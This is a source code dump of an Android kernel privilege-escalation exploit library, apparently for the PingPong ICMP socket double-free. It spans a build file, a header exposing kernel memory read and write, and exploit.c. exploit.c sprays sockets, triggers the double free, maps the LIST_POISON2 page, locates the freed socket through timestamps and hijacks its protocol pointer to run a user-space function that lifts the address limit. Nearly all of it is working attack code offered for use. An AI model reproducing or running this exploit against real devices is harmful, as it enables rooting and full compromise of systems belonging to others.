├── Android.mk ├── pingpong.h ├── pingpong.c └── exploit.c /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_SRC_FILES := \ 6 | pingpong.c \ 7 | exploit.c 8 | 9 | LOCAL_MODULE := libpingpong_exploit 10 | LOCAL_MODULE_TAGS := optional 11 | 12 | include $(BUILD_STATIC_LIBRARY) 13 | -------------------------------------------------------------------------------- /pingpong.h: -------------------------------------------------------------------------------- 1 | #ifndef PINGPONG_H 2 | #define PINGPONG_H 3 | 4 | #include 5 | 6 | #define PINGPONG_MAX_REQUEST_COUNT 1024 7 | 8 | extern bool pingpong_read_value_at_address(unsigned long address, int *value); 9 | extern bool pingpong_read_values_at_address(unsigned long address, int *values, int count); 10 | extern bool pingpong_write_value_at_address(unsigned long address, int value); 11 | extern bool pingpong_write_values_at_address(unsigned long address, const int *values, int count); 12 | 13 | extern bool pingpong_run_exploit(unsigned long int address, int value, 14 | bool(*exploit_callback)(void* user_data), void *user_data); 15 | 16 | 17 | #endif /* PINGPONG_H */ 18 | -------------------------------------------------------------------------------- /pingpong.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "pingpong.h" 5 | #include "exploit_utils.h" 6 | 7 | #define KERNEL_START 0xc0000000 8 | #define KERNEL_END 0xc7ffffff 9 | 10 | extern int pingpong_exploit_main(void); 11 | 12 | static void 13 | init_pingpong_exploit(void) 14 | { 15 | static int first_time = 1; 16 | 17 | if (!first_time) { 18 | return; 19 | } 20 | 21 | first_time = 0; 22 | 23 | pingpong_exploit_main(); 24 | } 25 | 26 | bool 27 | pingpong_read_values_at_address(unsigned long address, int *values, int count) 28 | { 29 | ssize_t size; 30 | 31 | init_pingpong_exploit(); 32 | 33 | size = count * sizeof (*values); 34 | return read_kernel_memory_by_pipe(address, values, size) == size; 35 | } 36 | 37 | bool 38 | pingpong_write_values_at_address(unsigned long address, const int *values, int count) 39 | { 40 | ssize_t size; 41 | 42 | init_pingpong_exploit(); 43 | 44 | size = count * sizeof (*values); 45 | return write_kernel_memory_by_pipe(address, values, size) == size; 46 | } 47 | 48 | bool 49 | pingpong_read_value_at_address(unsigned long address, int *value) 50 | { 51 | return pingpong_read_values_at_address(address, value, 1); 52 | } 53 | 54 | bool 55 | pingpong_write_value_at_address(unsigned long address, int value) 56 | { 57 | return pingpong_write_values_at_address(address, &value, 1); 58 | } 59 | 60 | bool 61 | pingpong_run_exploit(unsigned long int address, int value, 62 | bool(*exploit_callback)(void* user_data), void *user_data) 63 | { 64 | if (!pingpong_write_value_at_address(address, value)) { 65 | return false; 66 | } 67 | 68 | return exploit_callback(user_data); 69 | } 70 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "exploit_utils.h" 14 | 15 | #define MAX_CHILDREN_PROCESS 1024 16 | #define MAX_CHILDREN_SOCKETS 65000 17 | #define MAX_MMAPS 1024 18 | 19 | #define MAX_TRY_CONTORL_SK 4 20 | 21 | #define MMAP_BASE(x) (((unsigned)(x)) & ~(MMAP_SIZE - 1)) 22 | #define MMAP_SIZE (2 * 1024 * 1024) 23 | 24 | #define DEFAULT_RESERVE_SIZE (64 * 1024 * 1024) 25 | 26 | #define TIMESTAMP_MAGIC 0x0db4da5f 27 | 28 | #define ADDR_ADD(p,n) ((void *)((char *)(p) + (n))) 29 | 30 | #define OFFSET_SK_PROT 0x24 31 | #define OFFSET_SK_STAMP 0x148 32 | #define OFFSET_MC_LIST 0x1c4 33 | 34 | #define VUL_SOCK_END -1 35 | #define VUL_SOCK_CLOSED -2 36 | 37 | #ifndef SIOCGSTAMPNS 38 | #define SIOCGSTAMPNS 0x8907 39 | #endif /* SIOCGSTAMPNS */ 40 | 41 | #define OOM_DISABLE (-17) 42 | 43 | #define NSEC_PER_SEC 1000000000 44 | 45 | #define LIST_POISON2 0x00200200 46 | 47 | #define ARRAY_SIZE(x) (sizeof (x) / sizeof (*(x))) 48 | 49 | 50 | extern void pingpong_process_kernel_memory_requests(void); 51 | 52 | struct child_status_t { 53 | int num_sockets; 54 | int result; 55 | }; 56 | 57 | static size_t 58 | get_page_size(void) 59 | { 60 | static size_t pagesize; 61 | 62 | if (pagesize == 0) { 63 | pagesize = sysconf(_SC_PAGESIZE); 64 | } 65 | 66 | return pagesize; 67 | } 68 | 69 | static int 70 | maximize_fd_limit(void) 71 | { 72 | struct rlimit rlim; 73 | int ret; 74 | 75 | ret = getrlimit(RLIMIT_NOFILE, &rlim); 76 | if (ret != 0) { 77 | return -1; 78 | } 79 | 80 | rlim.rlim_cur = rlim.rlim_max; 81 | setrlimit(RLIMIT_NOFILE, &rlim); 82 | 83 | ret = getrlimit(RLIMIT_NOFILE, &rlim); 84 | if (ret != 0) { 85 | return -1; 86 | } 87 | 88 | return rlim.rlim_cur; 89 | } 90 | 91 | static int 92 | wait_for_sockets_created(int pipe_read, int *num_socks_created) 93 | { 94 | struct child_status_t status; 95 | int i; 96 | int ret; 97 | 98 | *num_socks_created = 0; 99 | 100 | ret = fcntl(pipe_read, F_SETFL, O_NONBLOCK); 101 | if (ret == -1) { 102 | perror("fcntl()"); 103 | return -1; 104 | } 105 | 106 | for (i = 0; i < 50; i++) { 107 | ret = read(pipe_read, &status, sizeof status); 108 | if (ret == -1 && errno == EAGAIN) { 109 | usleep(100000); 110 | continue; 111 | } 112 | 113 | break; 114 | } 115 | 116 | if (ret == -1 && errno == EAGAIN) { 117 | printf("read(): Timeout\n"); 118 | return -1; 119 | } 120 | 121 | if (ret == -1) { 122 | perror("read()"); 123 | return -1; 124 | } 125 | 126 | if (ret != sizeof (status)) { 127 | printf("read(): Unexpected EOF\n"); 128 | return -1; 129 | } 130 | 131 | *num_socks_created = status.num_sockets; 132 | 133 | return status.result; 134 | } 135 | 136 | static int 137 | send_status_to_parent(int pipe_write, int num_sockets, int result) 138 | { 139 | struct child_status_t status; 140 | 141 | memset(&status, 0, sizeof status); 142 | 143 | status.num_sockets = num_sockets; 144 | status.result = result; 145 | 146 | write(pipe_write, &status, sizeof status); 147 | 148 | return 0; 149 | } 150 | 151 | static int 152 | wait_to_close(int pipe_write) 153 | { 154 | close(pipe_write); 155 | 156 | while (1) { 157 | sleep(60); 158 | } 159 | } 160 | 161 | static int 162 | close_all_fds_except_pipe(int pipe_write, int num_fds) 163 | { 164 | int i; 165 | int result; 166 | 167 | result = 0; 168 | 169 | for (i = 0; i < num_fds; i++) { 170 | int ret; 171 | 172 | if (i == pipe_write) { 173 | continue; 174 | } 175 | 176 | ret = close(i); 177 | if (ret != 0) { 178 | result = -1; 179 | } 180 | } 181 | 182 | return result; 183 | } 184 | 185 | static int 186 | setup_vul_socket(int sock) 187 | { 188 | struct sockaddr_in sa; 189 | int ret; 190 | 191 | memset(&sa, 0, sizeof sa); 192 | sa.sin_family = AF_UNSPEC; 193 | 194 | ret = connect(sock, (struct sockaddr *)&sa, sizeof sa); 195 | if (ret != 0) { 196 | printf("connect(%d) #1: ret = %d\n", sock, ret); 197 | return -1; 198 | } 199 | 200 | ret = connect(sock, (struct sockaddr *)&sa, sizeof sa); 201 | if (ret != 0) { 202 | printf("connect%d() #2: ret = %d\n", sock, ret); 203 | return -1; 204 | } 205 | 206 | return 0; 207 | } 208 | 209 | static int 210 | create_icmp_socket(void) 211 | { 212 | struct sockaddr_in sa; 213 | int sock; 214 | int ret; 215 | 216 | memset(&sa, 0, sizeof sa); 217 | sa.sin_family = AF_INET; 218 | 219 | sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); 220 | if (sock == -1) { 221 | return -1; 222 | } 223 | 224 | ret = connect(sock, (struct sockaddr *)&sa, sizeof sa); 225 | if (ret != 0) { 226 | int result; 227 | 228 | result = errno; 229 | close(sock); 230 | errno = result; 231 | 232 | return -1; 233 | } 234 | 235 | return sock; 236 | } 237 | 238 | static int 239 | close_icmp_socket(int sock) 240 | { 241 | return close(sock); 242 | } 243 | 244 | static int 245 | do_child_task(int pipe_write, int num_fds) 246 | { 247 | int socks[num_fds]; 248 | int result; 249 | int ret; 250 | int i; 251 | 252 | result = 0; 253 | 254 | close_all_fds_except_pipe(pipe_write, num_fds); 255 | 256 | for (i = 0; i < num_fds; i++) { 257 | socks[i] = create_icmp_socket(); 258 | if (socks[i] == -1) { 259 | result = errno; 260 | break; 261 | } 262 | } 263 | 264 | num_fds = i; 265 | 266 | send_status_to_parent(pipe_write, num_fds, result); 267 | wait_to_close(pipe_write); 268 | 269 | for (i = 0; i < num_fds; i++) { 270 | ret = close_icmp_socket(socks[i]); 271 | } 272 | 273 | if (ret == -1) { 274 | return -1; 275 | } 276 | 277 | return 0; 278 | } 279 | 280 | static int 281 | create_child(int *pipe_read, int num_fds, pid_t *pid, int *num_socks_created) 282 | { 283 | int pipe_fds[2]; 284 | int ret; 285 | 286 | *pid = -1; 287 | *num_socks_created = 0; 288 | 289 | ret = pipe(pipe_fds); 290 | if (ret != 0) { 291 | perror("pipe()"); 292 | return -1; 293 | } 294 | 295 | *pid = fork(); 296 | if (*pid == -1) { 297 | perror("fork()"); 298 | return -1; 299 | } 300 | 301 | if (*pid == 0) { 302 | close(pipe_fds[0]); 303 | 304 | do_child_task(pipe_fds[1], num_fds); 305 | exit(0); 306 | } 307 | 308 | close(pipe_fds[1]); 309 | *pipe_read = pipe_fds[0]; 310 | 311 | ret = wait_for_sockets_created(*pipe_read, num_socks_created); 312 | if (ret == EMFILE) { 313 | ret = 0; 314 | } 315 | 316 | if (ret != 0) { 317 | kill(*pid, SIGKILL); 318 | } 319 | 320 | return ret; 321 | } 322 | 323 | static int 324 | close_child_sockets(int pipe_read, pid_t pid) 325 | { 326 | int timeout; 327 | int status; 328 | int success; 329 | int ret; 330 | 331 | success = 0; 332 | 333 | close(pipe_read); 334 | kill(pid, SIGTERM); 335 | 336 | for (timeout = 50; timeout > 0; timeout--) { 337 | ret = waitpid(pid, &status, WNOHANG); 338 | if (ret != 0) { 339 | break; 340 | } 341 | 342 | if (WIFEXITED(status)) { 343 | success = 1; 344 | break; 345 | } 346 | 347 | usleep(100000); 348 | } 349 | 350 | kill(pid, SIGKILL); 351 | 352 | ret = waitpid(pid, &status, 0); 353 | if (ret != 0) { 354 | return -1; 355 | } 356 | 357 | if (WIFEXITED(status)) { 358 | success = 1; 359 | } 360 | 361 | if (success) { 362 | return 0; 363 | } 364 | 365 | return -1; 366 | } 367 | 368 | int * 369 | create_vul_sockets(void) 370 | { 371 | static pid_t pids[MAX_CHILDREN_PROCESS]; 372 | static int pipe_reads[MAX_CHILDREN_PROCESS]; 373 | int max_fds; 374 | int *socks; 375 | int num_socks; 376 | int num_children_process; 377 | int num_children_socks; 378 | int ret; 379 | int i; 380 | 381 | max_fds = maximize_fd_limit(); 382 | 383 | socks = malloc((max_fds + 1) * sizeof (*socks)); 384 | if (!socks) { 385 | printf("\nNo memory\n"); 386 | return NULL; 387 | } 388 | 389 | num_children_process = 0; 390 | num_socks = 0; 391 | num_children_socks = 0; 392 | ret = 0; 393 | 394 | for (i = 0; i < MAX_CHILDREN_PROCESS; i++) { 395 | struct sysinfo info; 396 | int max_children_socks; 397 | int num_socks_created; 398 | 399 | ret = sysinfo(&info); 400 | if (ret == 0) { 401 | if (info.freeram < DEFAULT_RESERVE_SIZE) { 402 | if (info.totalram > 1024 * 1024 * 1024) { 403 | break; 404 | } 405 | 406 | if (info.freeram < info.totalram / 32) { 407 | break; 408 | } 409 | } 410 | } 411 | 412 | max_children_socks = max_fds; 413 | if (max_children_socks + num_children_socks > MAX_CHILDREN_SOCKETS) { 414 | max_children_socks = MAX_CHILDREN_SOCKETS - num_children_socks; 415 | if (max_children_socks < 1) { 416 | break; 417 | } 418 | } 419 | 420 | ret = create_child(&pipe_reads[i], max_children_socks, &pids[i], &num_socks_created); 421 | if (pids[i] == -1) { 422 | break; 423 | } 424 | 425 | num_children_process++; 426 | num_children_socks += num_socks_created; 427 | 428 | if (num_socks < max_fds) { 429 | socks[num_socks] = create_icmp_socket(); 430 | if (socks[num_socks] == -1) { 431 | break; 432 | } 433 | 434 | num_socks++; 435 | } 436 | 437 | if (ret != 0) { 438 | break; 439 | } 440 | } 441 | 442 | for (i = 0; i < num_children_process; i++) { 443 | close_child_sockets(pipe_reads[i], pids[i]); 444 | } 445 | 446 | if (num_socks < 1) { 447 | printf("No icmp socket available\n"); 448 | free(socks); 449 | return NULL; 450 | } 451 | 452 | socks[num_socks] = VUL_SOCK_END; 453 | 454 | for (i = 0; i < num_socks; i++) { 455 | ret = setup_vul_socket(socks[i]); 456 | } 457 | 458 | return socks; 459 | } 460 | 461 | static int 462 | lock_page_in_memory(void *address, size_t size) 463 | { 464 | int ret; 465 | 466 | ret = mlock(address, size); 467 | if (ret != 0) { 468 | return -1; 469 | } 470 | 471 | return 0; 472 | } 473 | 474 | static void 475 | populate_pagetable_for_address(void *address) 476 | { 477 | *(void **)address = NULL; 478 | } 479 | 480 | static void * 481 | protect_crash_when_double_free(void) 482 | { 483 | void *address; 484 | size_t pagesize; 485 | 486 | pagesize = get_page_size(); 487 | 488 | address = (void *)((LIST_POISON2 / pagesize) * pagesize); 489 | 490 | address = mmap(address, pagesize, 491 | PROT_READ | PROT_WRITE, 492 | MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, 493 | -1, 0); 494 | 495 | if (address == MAP_FAILED) { 496 | return NULL; 497 | } 498 | 499 | populate_pagetable_for_address(address); 500 | lock_page_in_memory(address, pagesize); 501 | 502 | return address; 503 | } 504 | 505 | static int 506 | free_protect(void *protect) 507 | { 508 | size_t pagesize; 509 | 510 | pagesize = get_page_size(); 511 | return munmap(protect, pagesize); 512 | } 513 | 514 | static void 515 | fill_with_payload(void *address, size_t size) 516 | { 517 | unsigned *p = address; 518 | int i; 519 | 520 | for (i = 0; i < size; i += sizeof (*p) * 2) { 521 | *p++ = (unsigned)p; 522 | *p++ = TIMESTAMP_MAGIC; 523 | } 524 | } 525 | 526 | static int 527 | get_sk_from_timestamp(int sock, unsigned long *paddr) 528 | { 529 | struct timespec tv; 530 | uint64_t value; 531 | uint32_t high, low; 532 | int ret; 533 | 534 | ret = ioctl(sock, SIOCGSTAMPNS, &tv); 535 | if (ret != 0) { 536 | return -1; 537 | } 538 | 539 | value = ((uint64_t)tv.tv_sec * NSEC_PER_SEC) + tv.tv_nsec; 540 | high = (unsigned)(value >> 32); 541 | low = (unsigned)value; 542 | 543 | if (high == TIMESTAMP_MAGIC) { 544 | if (paddr) 545 | *paddr = low - OFFSET_SK_STAMP; 546 | return 1; 547 | } 548 | 549 | return 0; 550 | } 551 | 552 | static int 553 | try_control_sk(int *socks) 554 | { 555 | static int reserve_size = DEFAULT_RESERVE_SIZE; 556 | static int loop_count = 0; 557 | static void *address[MAX_MMAPS]; 558 | struct sysinfo info; 559 | int success; 560 | int count; 561 | int i; 562 | int ret; 563 | 564 | success = 0; 565 | 566 | loop_count++; 567 | 568 | for (i = 0; i < MAX_MMAPS; i++) { 569 | int j; 570 | 571 | ret = sysinfo(&info); 572 | if (ret == 0) { 573 | if (info.freeram < reserve_size) { 574 | if (loop_count < 4) { 575 | reserve_size = info.freeram; 576 | } 577 | 578 | break; 579 | } 580 | } 581 | 582 | address[i] = mmap(NULL, MMAP_SIZE, 583 | PROT_READ | PROT_WRITE | PROT_EXEC, 584 | MAP_SHARED | MAP_ANONYMOUS, -1, 0); 585 | 586 | if (address[i] == MAP_FAILED) { 587 | printf("mmap(): failed: %s (%d)\n", strerror(errno), errno); 588 | break; 589 | } 590 | 591 | lock_page_in_memory(address[i], MMAP_SIZE); 592 | fill_with_payload(address[i], MMAP_SIZE); 593 | 594 | for (j = 0; socks[j] != VUL_SOCK_END; j++) { 595 | ret = get_sk_from_timestamp(socks[j], NULL); 596 | if (ret > 0) { 597 | success = 1; 598 | address[i] = 0; 599 | } 600 | } 601 | 602 | if (success) { 603 | break; 604 | } 605 | } 606 | 607 | count = i; 608 | 609 | for (i = 0; i < count; i++) { 610 | if (address[i]) { 611 | munmap(address[i], MMAP_SIZE); 612 | } 613 | } 614 | 615 | if (success) { 616 | return 0; 617 | } 618 | 619 | return -1; 620 | } 621 | 622 | static int is_kernel_task_executed = 0; 623 | 624 | static void 625 | kernel_task(void) 626 | { 627 | is_kernel_task_executed++; 628 | hack_addr_limit(); 629 | } 630 | 631 | static int 632 | setup_kernel_task(void *sk) 633 | { 634 | static unsigned prot[256]; 635 | unsigned *mmap_end_address; 636 | unsigned *p; 637 | int i; 638 | 639 | for (i = 0; i < ARRAY_SIZE(prot); i++) { 640 | prot[i] = (unsigned)kernel_task; 641 | } 642 | 643 | mmap_end_address = (void *)MMAP_BASE(sk) + MMAP_SIZE - 1; 644 | 645 | for (i = OFFSET_MC_LIST - 32; i < OFFSET_MC_LIST + 32; i+= 4) { 646 | p = ADDR_ADD(sk, i); 647 | if (p > mmap_end_address) { 648 | break; 649 | } 650 | 651 | *p = 0; 652 | } 653 | 654 | for (i = OFFSET_SK_PROT - 32; i < OFFSET_SK_PROT + 32; i+= 4) { 655 | p = ADDR_ADD(sk, i); 656 | if (p > mmap_end_address) { 657 | break; 658 | } 659 | 660 | *p = (unsigned)prot; 661 | } 662 | } 663 | 664 | static void 665 | keep_invalid_sk(int *socks) 666 | { 667 | pid_t pid; 668 | int max_fd; 669 | int found; 670 | int i; 671 | int j; 672 | 673 | found = 0; 674 | 675 | for (i = 0; socks[i] != VUL_SOCK_END; i++) { 676 | if (socks[i] != VUL_SOCK_CLOSED) { 677 | found = 1; 678 | } 679 | } 680 | 681 | if (!found) { 682 | return; 683 | } 684 | 685 | pid = fork(); 686 | if (pid != 0) { 687 | return; 688 | } 689 | 690 | max_fd = maximize_fd_limit(); 691 | 692 | found = 0; 693 | 694 | for (i = 0; i < max_fd; i++) { 695 | for (j = 0; socks[j] != VUL_SOCK_END; j++) { 696 | if (socks[j] == i) { 697 | found = 1; 698 | break; 699 | } 700 | } 701 | 702 | if (!found) { 703 | close(i); 704 | } 705 | } 706 | 707 | while (1) { 708 | protect_from_oom_killer(); 709 | sleep(60); 710 | } 711 | } 712 | 713 | static void 714 | do_kernel_task(int *socks) 715 | { 716 | int ret; 717 | int i; 718 | 719 | for (i = 0; socks[i] != VUL_SOCK_END; i++) { 720 | void *sk; 721 | 722 | ret = get_sk_from_timestamp(socks[i], (unsigned long *)&sk); 723 | if (ret <= 0) { 724 | continue; 725 | } 726 | 727 | setup_kernel_task(sk); 728 | 729 | close_icmp_socket(socks[i]); 730 | 731 | socks[i] = VUL_SOCK_CLOSED; 732 | } 733 | } 734 | 735 | int 736 | pingpong_exploit_main(void) 737 | { 738 | void *protect = NULL; 739 | int *socks; 740 | int i; 741 | pid_t pid; 742 | int ret; 743 | 744 | protect = protect_crash_when_double_free(); 745 | if (!protect) { 746 | printf("Error in protect_crash_when_double_free()\n"); 747 | return 1; 748 | } 749 | 750 | socks = create_vul_sockets(); 751 | if (socks == NULL) { 752 | return 1; 753 | } 754 | 755 | for (i = 0; i < MAX_TRY_CONTORL_SK; i++) { 756 | ret = try_control_sk(socks); 757 | if (ret == 0) { 758 | break; 759 | } 760 | } 761 | 762 | do_kernel_task(socks); 763 | 764 | keep_invalid_sk(socks); 765 | 766 | if (protect) { 767 | ret = free_protect(protect); 768 | if (ret != 0) { 769 | printf("Error in free_protect()\n"); 770 | } 771 | } 772 | 773 | if (is_kernel_task_executed) { 774 | return 0; 775 | } 776 | 777 | return 1; 778 | } 779 | --------------------------------------------------------------------------------